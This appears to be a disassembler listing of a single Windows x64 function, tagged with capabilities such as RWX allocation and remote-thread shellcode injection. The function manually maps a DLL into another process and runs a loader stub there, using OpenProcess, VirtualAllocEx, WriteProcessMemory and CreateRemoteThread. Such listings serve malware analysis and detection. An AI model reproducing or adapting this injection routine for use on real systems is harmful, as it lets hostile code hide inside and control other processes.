Function at 0x140001560
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0xa0
movaps xmmword [rsp + 0x90], xmm6
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x40], rcx
mov rcx, rdi
call fcn.140001330
mov esi, eax
cmp eax, 0xfffffffe
je 0x140001a67
cmp eax, 0xffffffff
je 0x140001598
mov edx, eax
lea rcx, str.Process:__t_t_d_n
call fcn.140001030
mov word [rsp + 0x50], 0x5a4d
mov word [rsp + 0x54], 0x4550
movzx edx, byte [rbx + 8]
xor edi, edi
test dl, dl
jne 0x1400015e2
mov ecx, dword [rbx + 0xc]
mov r8d, dword [rcx + 0x3c]
add r8d, ecx
jmp 0x1400015e5
mov r8d, edi
movzx eax, word [rsp + 0x50]
cmp ax, word [rbx + 0xc]
je 0x140001a32
cmp word [rsp + 0x54], r8w
je 0x140001a32
test dl, dl
jne 0x14000160c
mov ecx, dword [rbx + 0xc]
add ecx, dword [rcx + 0x3c]
jmp 0x14000160f
mov rcx, rdi
mov eax, 0x8664
cmp word [rcx + 4], ax
je 0x140001648
test dl, dl
jne 0x140001635
mov edi, dword [rbx + 0x10]
mov eax, dword [rbx + 0xc]
mov r8d, edi
mov ecx, eax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
jmp 0x140001a67
mov eax, edi
mov r8d, edi
mov ecx, eax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
jmp 0x140001a67
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
lea rcx, str.Opened_Process_n
call fcn.140001030
cmp byte [rbx + 8], dil
jne 0x140001681
mov edx, dword [rbx + 0xc]
mov ecx, dword [rdx + 0x3c]
add ecx, edx
mov r8d, dword [rcx + 0x50]
mov edx, dword [rbx + 0xc]
add edx, dword [rdx + 0x3c]
jmp 0x14000168c
mov r8d, dword [0x50]
mov rdx, rdi
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rdx + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test eax, eax
jne 0x14000171c
cmp byte [rbx + 8], dil
jne 0x1400016bc
mov ecx, dword [rbx + 0xc]
add ecx, dword [rcx + 0x3c]
jmp 0x1400016bf
mov rcx, rdi
mov r8d, dword [rcx + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15d, eax
test eax, eax
jne 0x14000171c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [rbx + 8], dil
jne 0x140001709
mov edi, dword [rbx + 0xc]
mov eax, dword [rbx + 0x10]
mov r8d, eax
mov ecx, edi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
jmp 0x140001a67
mov eax, edi
mov r8d, eax
mov ecx, edi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
jmp 0x140001a67
xorps xmm6, xmm6
mov qword [rsp + 0x78], rdi
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x58], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
cmp byte [rbx + 8], dil
jne 0x140001752
mov ecx, dword [rbx + 0xc]
mov edx, dword [rcx + 0x3c]
add edx, ecx
mov ecx, dword [rbx + 0xc]
add ecx, dword [rcx + 0x3c]
jmp 0x140001758
mov rdx, rdi
mov rcx, rdi
movzx r14d, word [rdx + 0x14]
add r14, rcx
mov ebp, edi
mov rcx, rbx
call fcn.140001d50
cmp word [rax + 2], di
je 0x1400017c1
add r14, 0x2c
mov eax, dword [r14 - 4]
test eax, eax
je 0x1400017ab
mov r9d, eax
cmp byte [rbx + 8], dil
jne 0x14000178a
mov ecx, dword [rbx + 0xc]
jmp 0x14000178c
mov ecx, edi
mov r8d, dword [r14]
add r8d, ecx
mov edx, dword [r14 - 8]
add edx, r15d
mov qword [rsp + 0x20], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400017d8
inc ebp
add r14, 0x28
mov rcx, rbx
call fcn.140001d50
movzx ecx, word [rax + 2]
cmp ebp, ecx
jne 0x140001774
cmp byte [rbx + 8], dil
jne 0x140001817
mov ecx, dword [rbx + 0xc]
mov eax, dword [rcx + 0x3c]
add eax, ecx
mov r8d, dword [rax + 0x50]
mov eax, dword [rbx + 0xc]
jmp 0x140001821
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [rbx + 8], dil
jne 0x1400017ef
mov edi, dword [rbx + 0x10]
mov eax, dword [rbx + 0xc]
jmp 0x1400017f1
mov eax, edi
mov r8d, edi
mov ecx, eax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov edx, r15d
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140001a67
mov r8d, dword [0x50]
mov eax, edi
mov rbp, r8
mov ecx, eax
test eax, eax
jne 0x140001838
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
jmp 0x140001870
cmp r8, 0x28
jb 0x140001857
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm6
movsd xmm0, qword [rsp + 0x78]
movsd qword [rcx + 0x20], xmm0
jmp 0x140001876
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp rbp, 0x28
jae 0x140001876
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x22
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
cmp byte [rbx + 8], dil
jne 0x140001881
mov eax, dword [rbx + 0xc]
jmp 0x140001883
mov eax, edi
mov ebp, r15d
mov r8d, eax
mov qword [rsp + 0x20], rdi
mov r9d, 0x1000
mov edx, r15d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, r15d
lea rcx, str.New_Dll_Image_Base:__t0x_X_n
call fcn.140001030
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
mov rcx, rsi
test rax, rax
jne 0x140001915
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [rbx + 8], dil
jne 0x1400018ed
mov edi, dword [rbx + 0x10]
mov eax, dword [rbx + 0xc]
jmp 0x1400018ef
mov eax, edi
mov r8d, edi
mov ecx, eax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140001a67
mov qword [rsp + 0x20], rdi
mov r9d, 0x1000
lea r8, [0x140001100]
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, r14
lea rcx, str.Shellcode_at:__t_t0x_X_n
call fcn.140001030
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbp
mov r9, r14
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1400019b7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [rbx + 8], dil
jne 0x14000197a
mov edi, dword [rbx + 0x10]
mov eax, dword [rbx + 0xc]
jmp 0x14000197c
mov eax, edi
mov r8d, edi
mov ecx, eax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140001a67
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x20], rdi
lea r9d, [rax + 0x28]
lea r8, [rsp + 0x58]
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [rsp + 0x78]
test eax, eax
je 0x1400019c0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [rbx + 8], dil
jne 0x140001635
mov edi, dword [rbx + 0x10]
mov eax, dword [rbx + 0xc]
mov r8d, edi
mov ecx, eax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
jmp 0x140001a67
lea rcx, str.Invalid_Dll_found____n
call fcn.140001030
cmp byte [rbx + 8], dil
jne 0x140001a4c
mov edi, dword [rbx + 0x10]
mov eax, dword [rbx + 0xc]
jmp 0x140001a4e
mov eax, edi
mov r8d, edi
mov ecx, eax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rcx, str.Invalid_Dll_found____n
call fcn.140001030
nop
cmp byte [rbx + 8], 0
jne 0x140001a92
cmp byte [rbx + 9], 0
jne 0x140001a92
mov r8d, dword [rbx + 0x10]
xor edx, edx
mov ecx, dword [rbx + 0xc]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x8000
xor edx, edx
mov ecx, dword [rbx + 0xc]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140003930
mov rbx, qword [rsp + 0xe0]
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret